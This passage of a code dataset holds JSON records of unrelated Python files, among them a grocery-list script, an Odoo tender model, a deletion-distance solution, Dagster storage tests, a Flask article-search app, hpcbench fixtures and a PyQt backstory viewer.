boodschappenlijst.sort()\n return boodschappenlijst\n\n\ndef formatter(lijst):\n \"\"\"Maakt een weergave van alle info\"\"\"\n boodschappenlijst = boodschappenlijst_generator(lijst)\n bericht = \"Boodschappenlijst: \\n\\n\"\n #Code hieronder zorgt ervoor dat er correcte nummers staan (dus '2 porties\n #rijst' en niet 'rijst rijst')\n for ing in boodschappenlijst:\n if ing in boodschappenlijst:\n if boodschappenlijst.count(ing) == 1: # we hoeven niet 1 XX op te schrijven\n bericht += ing\n bericht += \" \\n\"\n elif boodschappenlijst.count(ing) > 1:\n bericht += str(boodschappenlijst.count(ing)) + \" porties \" + ing\n bericht += \" \\n\"\n while boodschappenlijst.count(ing) > 1: # HIJ HAALDE HEM MAAR 1 KEER WEG. Nu een while loop die doorgaat totdat ze allemaal zijn exterminated.\n boodschappenlijst.remove(ing)\n bericht += \"\\nTOTALE PRIJS: \"\n bericht += str(totale_prijs(lijst))\n bericht += \"\\n\\n\\n\"\n bericht += \"BEREIDINGSWIJZE:\\n\"\n dag = 1\n for x in lijst:\n\n bericht += \"\\n\"\n bericht += \"dag \" + str(dag) + \": \" + str(x[0]).upper()\n bericht += \"\\nPrijs: \" + str(prijs(x[0]))\n\n for y in x[1]:\n bericht += str(y)\n bericht += \"\\n\\n\"\n dag += 1\n\n return bericht\n\n\ndagen = int(raw_input(\"Yo G,voor hoeveel dagen wil je recepten?\\n> \"))\nprint(formatter(gerechten_kiezer(food_opties, dagen)))\n\n#lijst.append(bericht) <--- voor django\n#^DIT ALLES MOET VERVOLGENS NAAR VIEWS. \n","sub_path":"list.py","file_name":"list.py","file_ext":"py","file_size_in_byte":3208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"566902728","text":"# -*- coding: utf-8 -*-\nfrom openerp import models, fields, api\nfrom openerp.osv import osv\nfrom openerp.tools.translate import _\n\n\nclass allocated(models.Model):\n _name = 'tender.allocated'\n _inherit = ['mail.thread']\n\n allocated_no = fields.Char(required=True, readonly=True)\n buyer_id = fields.Many2one('res.users', required=True, readonly=True)\n allocated_line_ids = fields.One2many('tender.line', 'allocated_id')\n text = fields.Text()\n state = fields.Selection([('draft', 'Draft'),\n ('allocated', 'Allocated'),\n ('purchasing', 'Purchasing'),\n ('done', 'Done')],\n string='Status', index=True, readonly=True, default='allocated',\n track_visibility='onchange', copy=False)\n selectgroup = fields.Selection([('inquiry', 'Inquiry Group'),\n ('sporadic', 'Sporadic Group'),\n ('supplement', 'Supplement Group'),\n ('tender', 'Tender Group')], readonly=True)\n\n @api.one\n def write(self, vals):\n if self.state == 'draft' or self.state == False:\n return super(allocated, self).write(vals)\n else:\n for field in ['allocated_line_ids']:\n if field in vals:\n raise osv.except_osv(_('Error'), _(\"state != draft\"))\n return super(allocated, self).write(vals)\n\n @api.one\n def change_state(self):\n if self.allocated_line_ids.filtered(lambda r: r.state == 'draft').ids.__len__() > 0:\n self.write({'state': 'draft'})\n elif self.allocated_line_ids.filtered(lambda r: r.state == 'allocated').ids.__len__() > 0:\n self.write({'state': 'allocated'})\n elif self.allocated_line_ids.filtered(lambda r: r.state == 'purchasing').ids.__len__() > 0:\n self.write({'state': 'purchasing'})\n else:\n self.write({'state': 'done'})\n\n @api.one\n def unlink(self):\n if self.env['res.users'].search([['id', '=', self.env.user.id]]).has_group('tender.group_tender_minister'):\n for allocated_line_id in self.allocated_line_ids:\n if allocated_line_id.state not in ['allocated', 'draft']:\n raise osv.except_osv(_('Error'), _(\"state != draft\"))\n for allocated_line_id in self.allocated_line_ids:\n allocated_line_id.write({'state': 'draft'})\n allocated_line_id.requisition_id.change_state()\n super(allocated, self).unlink()\n\n @api.multi\n def domain_btn(self):\n return {\"type\": \"ir.actions.act_window\",\n \"res_model\": \"tender.line\",\n \"context\": \"{'search_default_draft': 1}\",\n \"views\": [[False, \"view_mode_allocated_line\"]],\n \"domain\": [[\"allocated_id\", \"=\", self.id]]}\n\n @api.model\n def create(self, vals):\n vals['allocated_no'] = self.env['ir.sequence'].get('allocated_no') or '/'\n result = super(allocated, self).create(vals)\n # 添加关注\n subtype_ids = self.env.ref('mail.mt_comment').ids\n result.message_subscribe_users(user_ids=result.buyer_id.ids, subtype_ids=subtype_ids)\n # 取消原来关注\n result.message_unsubscribe_users(user_ids=self.env.user.ids)\n # 发送消息\n result.message_post(_('Allocated'), subtype='mail.mt_comment')\n return result\n","sub_path":"models/allocated.py","file_name":"allocated.py","file_ext":"py","file_size_in_byte":3491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"602341078","text":"#-*- coding: utf-8 -*-\n\"\"\"\nhttps://www.pramp.com/challenge/61ojWAjLJbhob2nP2q1O\nDeletion Distance\nThe deletion distance of two strings is the minimum number of characters you need to delete in the two strings in order to get the same string. For instance, the deletion distance between \"heat\" and \"hit\" is 3:\n\nBy deleting 'e' and 'a' in \"heat\", and 'i' in \"hit\", we get the string \"ht\" in both cases.\nWe cannot get the same string from both strings by deleting 2 letters or fewer.\nGiven the strings str1 and str2, write an efficient function deletionDistance that returns the deletion distance between them. Explain how your function works, and analyze its time and space complexities.\n\nExamples:\n\ninput: str1 = \"dog\", str2 = \"frog\"\noutput: 3\n\ninput: str1 = \"some\", str2 = \"some\"\noutput: 0\n\ninput: str1 = \"some\", str2 = \"thing\"\noutput: 9\n\ninput: str1 = \"\", str2 = \"\"\noutput: 0\nConstraints:\n\n[input] string str1\n[input] string str2\n[output] integer\n\"\"\"\n\n\n\n\ndef deletion_distance(str1, str2):\n memo = [ [x for x in range(len(str2)+1)] for y in range(len(str1)+1)]\n\n for i in range(len(str1)+1):\n for j in range(len(str2)+1):\n if i == 0: memo[i][j] = j\n elif j == 0: memo[i][j] = i\n elif str1[i-1] != str2[j-1]: memo[i][j] = 1 + min(memo[i-1][j], memo[i][j-1])\n elif str1[i-1] == str2[j-1]: memo[i][j] = memo[i-1][j-1]\n #print(\"------\")\n #for m in memo: print(*m)\n return memo[len(str1)][len(str2)]\n\n\n# assert(deletion_distance(\"\", \"\") == 0)\n# assert(deletion_distance(\"dog\", \"frog\") == 3)\n# assert(deletion_distance(\"miso\", \"soup\") == 4)\n# assert(deletion_distance(\"school\", \"school\") == 0)\n# assert(deletion_distance(\"material\", \"atess\") == 7)\n#assert(deletion_distance(\"atess\", \"material\") == 7)\n#print(deletion_distance(\"heat\", \"hit\"))\nprint(deletion_distance(\"atess\", \"material\"))\n#assert(deletion_distance(\"heat\", \"hit\") == 3)\n# time: worstO(N*N),\n\n\n\"\"\"\nだめだ。\nヒントを見るまで解けなかった\nリカーシブ!!!\nv2でヒント見て解けたけど、\nv3で答えを見て、さらに動的プログラミングを\n効率的に使っっている。と思って実装したが、実行速度は変わらなかった。\n116msだった。対して、v2は110msだったので。 \n\"\"\"","sub_path":"problems/prp_deletion_distance_v3.py","file_name":"prp_deletion_distance_v3.py","file_ext":"py","file_size_in_byte":2285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"48647803","text":"import tempfile\nimport time\nfrom contextlib import contextmanager\n\nimport pytest\nfrom dagster import (\n AssetKey,\n AssetMaterialization,\n AssetObservation,\n DagsterEventType,\n EventRecordsFilter,\n Field,\n Output,\n execute_pipeline,\n job,\n op,\n pipeline,\n solid,\n)\nfrom dagster.core.definitions.events import parse_asset_key_string, validate_asset_key_string\nfrom dagster.core.errors import DagsterInvalidAssetKey\nfrom dagster.core.events import DagsterEvent, StepMaterializationData\nfrom dagster.core.events.log import EventLogEntry\nfrom dagster.core.instance import DagsterInstance, InstanceRef, InstanceType\nfrom dagster.core.launcher.sync_in_memory_run_launcher import SyncInMemoryRunLauncher\nfrom dagster.core.run_coordinator import DefaultRunCoordinator\nfrom dagster.core.storage.event_log import (\n ConsolidatedSqliteEventLogStorage,\n InMemoryEventLogStorage,\n SqliteEventLogStorage,\n)\nfrom dagster.core.storage.event_log.migration import ASSET_KEY_INDEX_COLS, migrate_asset_key_data\nfrom dagster.core.storage.noop_compute_log_manager import NoOpComputeLogManager\nfrom dagster.core.storage.root import LocalArtifactStorage\nfrom dagster.core.storage.runs import InMemoryRunStorage\nfrom dagster.utils import file_relative_path\nfrom dagster.utils.test import copy_directory\n\n\ndef test_validate_asset_key_string():\n assert validate_asset_key_string(\"H3_lL0.h-1\") == \"H3_lL0.h-1\"\n with pytest.raises(DagsterInvalidAssetKey):\n validate_asset_key_string(\"(Hello)\")\n\n\ndef test_structured_asset_key():\n asset_parsed = AssetKey(parse_asset_key_string(\"(Hello)\"))\n assert len(asset_parsed.path) == 1\n assert asset_parsed.path[0] == \"Hello\"\n\n asset_structured = AssetKey([\"(Hello)\"])\n assert len(asset_structured.path) == 1\n assert asset_structured.path[0] == \"(Hello)\"\n\n\ndef test_parse_asset_key_string():\n assert parse_asset_key_string(\"foo.bar_b-az\") == [\"foo\", \"bar_b\", \"az\"]\n\n\ndef test_backcompat_asset_read():\n src_dir = file_relative_path(__file__, \"compat_tests/snapshot_0_11_0_asset_materialization\")\n # should contain materialization events for asset keys a, b, c, d, e, f\n # events a and b have been wiped, but b has been rematerialized\n def _validate_instance_assets(instance):\n assert instance.all_asset_keys() == [\n AssetKey(\"b\"),\n AssetKey(\"c\"),\n AssetKey(\"d\"),\n AssetKey(\"e\"),\n AssetKey(\"f\"),\n ]\n assert instance.get_asset_keys() == [\n AssetKey(\"b\"),\n AssetKey(\"c\"),\n AssetKey(\"d\"),\n AssetKey(\"e\"),\n AssetKey(\"f\"),\n ]\n assert instance.get_asset_keys(prefix=[\"d\"]) == [AssetKey(\"d\")]\n assert instance.get_asset_keys(limit=3) == [\n AssetKey(\"b\"),\n AssetKey(\"c\"),\n AssetKey(\"d\"),\n ]\n assert instance.get_asset_keys(cursor='[\"b\"]', limit=3) == [\n AssetKey(\"c\"),\n AssetKey(\"d\"),\n AssetKey(\"e\"),\n ]\n\n @op\n def materialize():\n yield AssetMaterialization(AssetKey(\"e\"))\n yield AssetMaterialization(AssetKey(\"f\"))\n yield Output(None)\n\n @job\n def my_job():\n materialize()\n\n with copy_directory(src_dir) as test_dir:\n with DagsterInstance.from_ref(InstanceRef.from_dir(test_dir)) as instance:\n _validate_instance_assets(instance)\n my_job.execute_in_process(instance=instance)\n _validate_instance_assets(instance)\n instance.upgrade()\n _validate_instance_assets(instance)\n my_job.execute_in_process(instance=instance)\n _validate_instance_assets(instance)\n instance.reindex()\n _validate_instance_assets(instance)\n my_job.execute_in_process(instance=instance)\n _validate_instance_assets(instance)\n\n\ndef test_backcompat_asset_materializations():\n src_dir = file_relative_path(__file__, \"compat_tests/snapshot_0_11_0_asset_materialization\")\n # should contain materialization events for asset keys a, b, c, d, e, f\n # events a and b have been wiped, but b has been rematerialized\n\n @op\n def materialize():\n yield AssetMaterialization(AssetKey(\"c\"), tags={\"foo\": \"bar\"})\n yield Output(None)\n\n @job\n def my_job():\n materialize()\n\n def _validate_materialization(asset_key, event, expected_tags):\n assert isinstance(event, EventLogEntry)\n assert event.dagster_event\n assert event.dagster_event.is_step_materialization\n assert event.dagster_event.step_materialization_data.materialization.asset_key == asset_key\n assert event.dagster_event.step_materialization_data.materialization.tags == expected_tags\n\n a = AssetKey(\"a\")\n b = AssetKey(\"b\")\n c = AssetKey(\"c\")\n\n with copy_directory(src_dir) as test_dir:\n with DagsterInstance.from_ref(InstanceRef.from_dir(test_dir)) as instance:\n storage = instance.event_log_storage\n\n a_mat = storage.get_latest_materialization_events([a]).get(a)\n assert a_mat is None\n\n b_mat = storage.get_latest_materialization_events([b]).get(b)\n _validate_materialization(b, b_mat, expected_tags={})\n\n c_mat = storage.get_latest_materialization_events([c]).get(c)\n _validate_materialization(c, c_mat, expected_tags={})\n\n mat_by_key = storage.get_latest_materialization_events([a, b, c])\n assert mat_by_key.get(a) is None\n _validate_materialization(b, mat_by_key.get(b), expected_tags={})\n _validate_materialization(c, mat_by_key.get(c), expected_tags={})\n\n # materialize c with tags\n my_job.execute_in_process(instance=instance)\n\n a_mat = storage.get_latest_materialization_events([a]).get(a)\n assert a_mat is None\n\n b_mat = storage.get_latest_materialization_events([b]).get(b)\n _validate_materialization(b, b_mat, expected_tags={})\n\n c_mat = storage.get_latest_materialization_events([c]).get(c)\n _validate_materialization(c, c_mat, expected_tags={\"foo\": \"bar\"})\n\n mat_by_key = storage.get_latest_materialization_events([a, b, c])\n assert mat_by_key.get(a) is None\n _validate_materialization(b, mat_by_key.get(b), expected_tags={})\n _validate_materialization(c, c_mat, expected_tags={\"foo\": \"bar\"})\n\n\ndef test_asset_lazy_migration():\n src_dir = file_relative_path(__file__, \"compat_tests/snapshot_0_11_0_asset_materialization\")\n # should contain materialization events for asset keys a, b, c, d, e, f\n # events a and b have been wiped, but b has been rematerialized\n\n @op\n def materialize():\n yield AssetMaterialization(AssetKey(\"a\"))\n yield AssetMaterialization(AssetKey(\"b\"))\n yield AssetMaterialization(AssetKey(\"c\"))\n yield AssetMaterialization(AssetKey(\"d\"))\n yield AssetMaterialization(AssetKey(\"e\"))\n yield AssetMaterialization(AssetKey(\"f\"))\n yield Output(None)\n\n @job\n def my_job():\n materialize()\n\n with copy_directory(src_dir) as test_dir:\n with DagsterInstance.from_ref(InstanceRef.from_dir(test_dir)) as instance:\n storage = instance.event_log_storage\n assert not storage.has_asset_key_index_cols()\n assert not storage.has_secondary_index(ASSET_KEY_INDEX_COLS)\n\n # run the schema migration without reindexing the asset keys\n storage.upgrade()\n assert storage.has_asset_key_index_cols()\n assert not storage.has_secondary_index(ASSET_KEY_INDEX_COLS)\n\n # fetch all asset keys\n instance.all_asset_keys()\n assert not storage.has_secondary_index(ASSET_KEY_INDEX_COLS)\n\n # wipe a, b in order to populate wipe_timestamp\n storage.wipe_asset(AssetKey(\"a\"))\n storage.wipe_asset(AssetKey(\"b\"))\n\n # materialize all the assets to populate materialization_timestamp\n my_job.execute_in_process(instance=instance)\n\n # still should not be migrated (on write)\n assert not storage.has_secondary_index(ASSET_KEY_INDEX_COLS)\n\n # fetching partial results should not trigger migration\n instance.get_asset_keys(prefix=[\"b\"])\n instance.get_asset_keys(cursor=str(AssetKey(\"b\")))\n instance.get_latest_materialization_events(asset_keys=[AssetKey(\"b\")])\n\n assert not storage.has_secondary_index(ASSET_KEY_INDEX_COLS)\n\n # on read, we should see that all the data has already been migrated and we can now mark\n # the asset key index as migrated\n instance.all_asset_keys()\n assert storage.has_secondary_index(ASSET_KEY_INDEX_COLS)\n","sub_path":"python_modules/dagster/dagster_tests/core_tests/storage_tests/test_assets.py","file_name":"test_assets.py","file_ext":"py","file_size_in_byte":8851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"79018847","text":"import os\nimport re\nimport json\nimport sys\n\ndef checkDir(dirpath):\n if not os.path.exists(dirpath):\n os.mkdir(dirpath)\n return False\n return True\n\ndef loadConfig(filepath='config.json'):\n f = open(filepath, 'r', encoding='utf-8')\n return json.load(f)\n\ndef filterBadCharacter(string):\n need_removed_strs = ['<em>', '</em>', '<', '>', '\\\\', '/', '?', ':', '\"', ':', '|', '?', '*']\n for item in need_removed_strs:\n string = string.replace(item, '')\n try:\n rule = re.compile(u'[\\U00010000-\\U0010ffff]')\n except:\n rule = re.compile(u'[\\uD800-\\uDBFF][\\uDC00-\\uDFFF]')\n string = rule.sub('', string)\n return string.strip().encode('utf-8', 'ignore').decode('utf-8')\n\ndef dealInput(tip=''):\n user_input = input(tip)\n if user_input.lower() == 'q':\n print('cya')\n sys.exit()\n else:\n return user_input\n\ndef seconds2hms(seconds):\n m, s = divmod(seconds, 60)\n h, m = divmod(m, 60)\n return '%02d:%02d:%02d' % (h, m, s)","sub_path":"misc.py","file_name":"misc.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"610722041","text":"from flask import render_template\nfrom flask import Flask, redirect, url_for, request, jsonify\nimport requests\nimport json\nimport google_article_search\nimport google_article_search_test\nimport re\n\napp = Flask(__name__) # init\n\n\n@app.route('/') # index\ndef index():\n return render_template('index_test.html')\n\n\n@app.route('/search', methods=['GET'])\ndef search():\n word = request.args.get('word')\n K = request.args.get('K')\n print(\"Q : \", word)\n print(\"K : \", K)\n res = \"\"\n data = {}\n data = google_article_search_test.search_article(word, K)\n if len(data['data']) < 1:\n res = '[{\"title\":\"적절한 관련 기사가 없습니다.\",\"content\":\"empty\",\"highlight\":\"없네요\"}]'\n return res\n\n response_intensive = requests.post(\"http://210.117.181.115:5003/intensive_predict\", json=data)\n response_sketch = requests.post(\"http://210.117.181.115:5003/sketch_predict\", json=data)\n\n return_list = []\n return_json = {}\n # print(\"data len : \",len(data['data']))\n # print(\"rep len : \",len(response_intensive.json().values()))\n\n response_list = []\n\n for doc, intensive_tuple, cls_score in zip(data['data'], response_intensive.json().values(),\n response_sketch.json().values()):\n score, diff_score, answer = intensive_tuple\n total_score = (float(diff_score) + float(cls_score)) / 2\n if total_score <= 0:\n print(total_score)\n content = re.sub('\\'|\\\"|”', ' ', doc['paragraphs'][0]['context'])\n url = doc['paragraphs'][0]['qas'][0]['id']\n news = doc['paragraphs'][0]['qas'][0]['answers'][0]['text']\n\n response_list.append((score, diff_score, answer, content, url, news))\n\n if len(response_list) < 1:\n res = '[{\"title\":\"적절한 관련 기사가 없습니다.\",\"content\":\"empty\",\"highlight\":\"없네요\"}]'\n return res\n\n response_list = sorted(response_list, key=lambda x: x[0], reverse=True)\n\n for score, diff_score, answer, content, url, news in response_list:\n answer = re.sub('\\'|\\\"|”', ' ', answer)\n return_json['title'] = f'[{round(score * 100, 2)}%] ' + answer\n return_json['content'] = content\n return_json['highlight'] = answer\n return_json['url'] = url\n return_json['news'] = news\n\n start_index = return_json['content'].find(answer)\n after_len = len(return_json['content']) - start_index - len(answer)\n clen = 200\n if start_index > clen:\n return_json['content'] = return_json['content'][start_index - clen:]\n if after_len > clen:\n return_json['content'] = return_json['content'][0:clen * 2 + len(answer)]\n\n if answer != \"\":\n return_list.append(return_json)\n else:\n print(\"not answer : \", answer)\n return_json = {}\n\n res = str(return_list).replace('\\'', '\\\"')\n\n return res\n\n\nif __name__ == '__main__': # run\n app.run(host='0.0.0.0', port=8080)","sub_path":"web_page/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"518340502","text":"import inspect\nimport os.path as osp\nimport shutil\nimport sys\nimport tempfile\nfrom textwrap import dedent\n\nimport six\n\nfrom hpcbench.api import (\n Benchmark,\n Metric,\n MetricsExtractor,\n)\nfrom hpcbench.cli import bensh\nfrom hpcbench.toolbox.contextlib_ext import pushd\n\n\nclass DriverTestCase(object):\n @classmethod\n def get_campaign_file(cls):\n return osp.splitext(inspect.getfile(cls))[0] + '.yaml'\n\n @classmethod\n def setUpClass(cls):\n cls.TEST_DIR = tempfile.mkdtemp(prefix='hpcbench-ut')\n with pushd(cls.TEST_DIR):\n cls.driver = bensh.main(cls.get_campaign_file())\n cls.CAMPAIGN_PATH = osp.join(cls.TEST_DIR,\n cls.driver.campaign_path)\n\n @classmethod\n def tearDownClass(cls):\n shutil.rmtree(cls.TEST_DIR)\n\n\nclass FakeExtractor(MetricsExtractor):\n @property\n def metrics(self):\n return dict(\n performance=Metric('m', float),\n standard_error=Metric('m', float)\n )\n\n def extract_metrics(self, outdir, metas):\n with open(self.stdout(outdir)) as istr:\n content = istr.readlines()\n return dict(\n performance=float(content[0].strip()),\n standard_error=float(content[1].strip())\n )\n assert not osp.isfile(self.stderr(outdir))\n\n\nclass FakeBenchmark(Benchmark):\n name = 'fake'\n\n description = '''\n fake benchmark for HPCBench testing purpose\n '''\n\n INPUTS = [10, 20, 100]\n\n def __init__(self):\n super(FakeBenchmark, self).__init__(\n attributes=dict(\n input=FakeBenchmark.INPUTS,\n )\n )\n\n def pre_execute(self, execution):\n with open('test.py', 'w') as ostr:\n ostr.write(dedent(\"\"\"\\\n from __future__ import print_function\n import sys\n\n print(sys.argv[1])\n print(float(sys.argv[1]) / 10)\n \"\"\"))\n\n def execution_matrix(self, context):\n del context # unused\n return [\n dict(\n category='main',\n command=[\n sys.executable, 'test.py', str(value)\n ],\n metas=dict(field=value / 10)\n if not isinstance(value, six.string_types) else None\n )\n for value in self.attributes['input']\n ]\n\n @property\n def metrics_extractors(self):\n return dict(main=FakeExtractor())\n\n @property\n def plots(self):\n return dict(\n main=[\n dict(\n name=\"{hostname} {category} Performance\",\n series=dict(\n metas=['field'],\n metrics=[\n 'performance',\n 'standard_error'\n ],\n ),\n plotter=self.plot_performance\n )\n ]\n )\n\n def plot_performance(self, plt, description, metas, metrics):\n plt.errorbar(metas['field'],\n metrics['performance'],\n yerr=metrics['standard_error'],\n fmt='o', ecolor='g', capthick=2)\n","sub_path":"tests/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"158588143","text":"from __future__ import annotations\n\nimport json\nimport re\nimport shutil\nfrom datetime import datetime\nfrom pathlib import Path\nfrom string import capwords\nfrom typing import (Callable, Iterable, NamedTuple, Optional, TypedDict, Union,\n cast)\n\nfrom libsyntyche import terminal\nfrom libsyntyche.cli import ArgumentRules, Command\nfrom libsyntyche.texteditor import Searcher\nfrom libsyntyche.widgets import (HBoxLayout, Label, Stretch, VBoxLayout,\n mk_signal0, mk_signal1)\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtGui import QTextCharFormat\nfrom PyQt5.QtWidgets import QShortcut\n\nfrom .common import BackstoryViewerFormat, Settings, run_external_command\nfrom .taggedlist import ATTR_FILE, ATTR_TITLE, Entry\n\nColor = Union[QtGui.QColor, Qt.GlobalColor]\n\n\nclass Page(NamedTuple):\n title: str\n file: Path\n cursor_pos: int = 0\n scroll_pos: int = 0\n\n\nPageMetadata = TypedDict(\n 'PageMetadata',\n {'title': str, 'created': str, 'revision': int, 'revision created': str}\n)\n\n\ndef fix_title(file: Path) -> str:\n return capwords(file.stem.replace('-', ' '))\n\n\ndef read_metadata(file: Path) -> tuple[str, str]:\n lines = file.read_text(encoding='utf-8').split('\\n', 1)\n return lines[0], lines[1]\n\n\ndef generate_page_metadata(title: str,\n created: Optional[str] = None,\n revision: Optional[int] = None,\n revision_created: Optional[str] = None\n ) -> PageMetadata:\n \"\"\"\n Return a JSON string with the default metadata for a single backstory page.\n \"\"\"\n now = datetime.now().isoformat()\n return {\n 'title': title,\n 'created': now if created is None else created,\n 'revision': 0 if revision is None else revision,\n 'revision created': now if revision_created is None else revision_created,\n }\n\n\nclass Formatter(QtGui.QSyntaxHighlighter):\n def __init__(self, parent: QtCore.QObject, settings: Settings) -> None:\n super().__init__(parent)\n self.formats: list[tuple[str, QTextCharFormat]] = []\n self.update_formats(settings.backstory_viewer_formats.value)\n\n def update_formats(self, format_strings: list[BackstoryViewerFormat]) -> None:\n self.formats = []\n font = QtGui.QFont\n for fmt in format_strings:\n f = QTextCharFormat()\n if fmt.bold:\n f.setFontWeight(font.Bold)\n if fmt.italic:\n f.setFontItalic(True)\n if fmt.underline:\n f.setFontUnderline(True)\n if fmt.strikethrough:\n f.setFontStrikeOut(True)\n if fmt.size is not None:\n f.setFontPointSize(fmt.size)\n if fmt.color is not None:\n f.setForeground(fmt.color)\n self.formats.append((fmt.pattern, f))\n self.rehighlight()\n\n def highlightBlock(self, text: str) -> None:\n for rx, fmt in self.formats:\n for chunk in re.finditer(rx, text):\n self.setFormat(chunk.start(), chunk.end() - chunk.start(), fmt)\n\n\nclass TabBar(QtWidgets.QTabBar):\n set_tab_index = mk_signal1(int)\n\n def __init__(self, parent: QtWidgets.QWidget, print_: Callable[[str], None]) -> None:\n super().__init__(parent)\n self.print_ = print_\n self.pages: list[Page] = []\n\n def mousePressEvent(self, ev: QtGui.QMouseEvent) -> None:\n if ev.button() == Qt.LeftButton:\n tab = self.tabAt(ev.pos())\n if tab != -1:\n self.set_tab_index.emit(tab)\n\n def wheelEvent(self, ev: QtGui.QWheelEvent) -> None:\n delta = ev.angleDelta().y() + ev.angleDelta().x()\n if delta != 0:\n self.change_tab(-delta)\n\n def next_tab(self) -> None:\n self.change_tab(1)\n\n def prev_tab(self) -> None:\n self.change_tab(-1)\n\n def change_tab(self, direction: int) -> None:\n current_tab = self.currentIndex()\n if direction > 0 and current_tab == self.count() - 1:\n new_tab = 0\n elif direction < 0 and current_tab == 0:\n new_tab = self.count() - 1\n else:\n new_tab = current_tab + int(direction / abs(direction))\n self.set_tab_index.emit(new_tab)\n\n def clear(self) -> None:\n while self.count() > 1:\n if self.currentIndex() == 0:\n self.removeTab(1)\n else:\n self.removeTab(0)\n self.removeTab(0)\n\n def current_page_file(self) -> Path:\n return self.pages[self.currentIndex()].file\n\n def set_page_position(self, i: int, cursor_pos: int, scroll_pos: int) -> None:\n self.pages[i] = self.pages[i]._replace(cursor_pos=cursor_pos, scroll_pos=scroll_pos)\n\n def get_page_position(self, i: int) -> tuple[int, int]:\n return self.pages[i][2:4]\n\n def load_pages(self, root: Path) -> Iterable[Page]:\n \"\"\"\n Read all pages from the specified directory and build a list of them.\n \"\"\"\n for file in root.iterdir():\n if re.search(r'\\.rev\\d+$', file.name) is not None:\n continue\n if file.is_dir():\n continue\n first_line, data = file.read_text().split('\\n', 1)\n title = fix_title(file)\n default_metadata = generate_page_metadata(title)\n metadata: PageMetadata\n try:\n metadata = json.loads(first_line)\n except ValueError:\n self.print_(f'Bad/no properties found on page {file.name}, fixing...')\n new_first_line = json.dumps(generate_page_metadata(title))\n file.write_text('\\n'.join([new_first_line, first_line, data]))\n yield Page(title, file)\n else:\n original_metadata = metadata.copy()\n # Special case if date exists and revision date doesn't\n if 'revision created' not in metadata:\n if 'created' in metadata:\n metadata['revision created'] = metadata['created']\n else:\n metadata['created'] = default_metadata['created']\n # Make sure all required keys exist\n if 'title' not in metadata:\n metadata['title'] = default_metadata['title']\n if 'created' not in metadata:\n metadata['created'] = default_metadata['created']\n if 'revision' not in metadata:\n metadata['revision'] = default_metadata['revision']\n # Update the file if needed\n if metadata != original_metadata:\n file.write_text(json.dumps(metadata) + '\\n' + data)\n yield Page(metadata['title'], file)\n\n def open_entry(self, root: Path) -> None:\n \"\"\"\n Ready the tab bar for a new entry.\n \"\"\"\n self.clear()\n # fnames = os.listdir(root)\n self.pages = sorted(self.load_pages(root))\n for page in self.pages:\n self.addTab(page.title)\n\n def add_page(self, title: str, file: Path) -> int:\n \"\"\"\n Add a new page to and then sort the tab bar. Return the index of the\n new tab.\n \"\"\"\n self.pages.append(Page(title, file))\n self.pages.sort()\n i = next(pos for pos, page in enumerate(self.pages) if page.file == file)\n self.insertTab(i, title)\n return i\n\n def remove_page(self) -> Path:\n \"\"\"\n Remove the active page from the tab bar and return the page's file name\n\n Note that the actual file on the disk is not removed by this.\n Raise IndexError if there is only one tab left.\n \"\"\"\n if self.count() <= 1:\n raise IndexError(\"Can't remove the only page\")\n i: int = self.currentIndex()\n page = self.pages.pop(i)\n self.removeTab(i)\n self.print_(f'Page \"{page.title}\" deleted')\n return page.file\n\n def rename_page(self, newtitle: str) -> None:\n \"\"\"\n Rename the active page and update the tab bar.\n \"\"\"\n i = self.currentIndex()\n self.pages[i] = self.pages[i]._replace(title=newtitle)\n self.pages.sort()\n self.setTabText(i, newtitle)\n new_i = next(pos for pos, page in enumerate(self.pages) if page.title == newtitle)\n self.moveTab(i, new_i)\n\n\nclass BackstoryTextEdit(QtWidgets.QTextEdit):\n resized = mk_signal0()\n\n def resizeEvent(self, ev: QtGui.QResizeEvent) -> None:\n super().resizeEvent(ev)\n self.resized.emit()\n\n\nclass BackstoryWindow(QtWidgets.QFrame):\n closed = mk_signal1(Path)\n\n def __init__(self, entry: Entry, settings: Settings, history_path: Path) -> None:\n super().__init__()\n self.settings = settings\n\n self.textarea = BackstoryTextEdit()\n self.default_font = self.textarea.fontFamily()\n self.textarea.setTabStopWidth(30)\n self.textarea.setAcceptRichText(False)\n self.title_label = Label('', name='backstory_title', parent=self)\n self.tab_counter = Label('', name='backstory_tab_counter', parent=self)\n self.revision_notice = Label('', name='backstory_revision_counter', parent=self)\n history_file = history_path / (entry[ATTR_FILE].name + '.history')\n self.terminal = BackstoryTerminal(self, history_file)\n self.searcher = Searcher(self.textarea, self.terminal.error, self.terminal.print_)\n self.tab_bar = TabBar(self, self.terminal.print_)\n self.create_layout(self.title_label, self.tab_bar, self.tab_counter,\n self.revision_notice, self.textarea, self.terminal)\n self.formatter = Formatter(self.textarea, settings)\n self.connect_signals()\n self.revision_active = False\n self.force_quit_flag = False\n self.hotkey_next_tab = QShortcut(self.settings.hotkey_next_tab.value,\n self, self.tab_bar.next_tab)\n self.settings.hotkey_next_tab.changed.connect(self.hotkey_next_tab.setKey)\n self.hotkey_prev_tab = QShortcut(self.settings.hotkey_prev_tab.value,\n self, self.tab_bar.prev_tab)\n self.settings.hotkey_prev_tab.changed.connect(self.hotkey_prev_tab.setKey)\n self.hotkey_save_tab = QShortcut(self.settings.hotkey_save.value,\n self, cast(Callable[[], None], self.save_tab))\n self.settings.hotkey_save.changed.connect(self.hotkey_save_tab.setKey)\n self.hotkey_toggle_terminal = QShortcut(self.settings.hotkey_toggle_terminal.value,\n self, self.toggle_terminal)\n self.settings.hotkey_toggle_terminal.changed.connect(self.hotkey_toggle_terminal.setKey)\n self.ignore_wheel_event = False\n self.entry = entry\n self.entry_file = entry[ATTR_FILE]\n self.root = 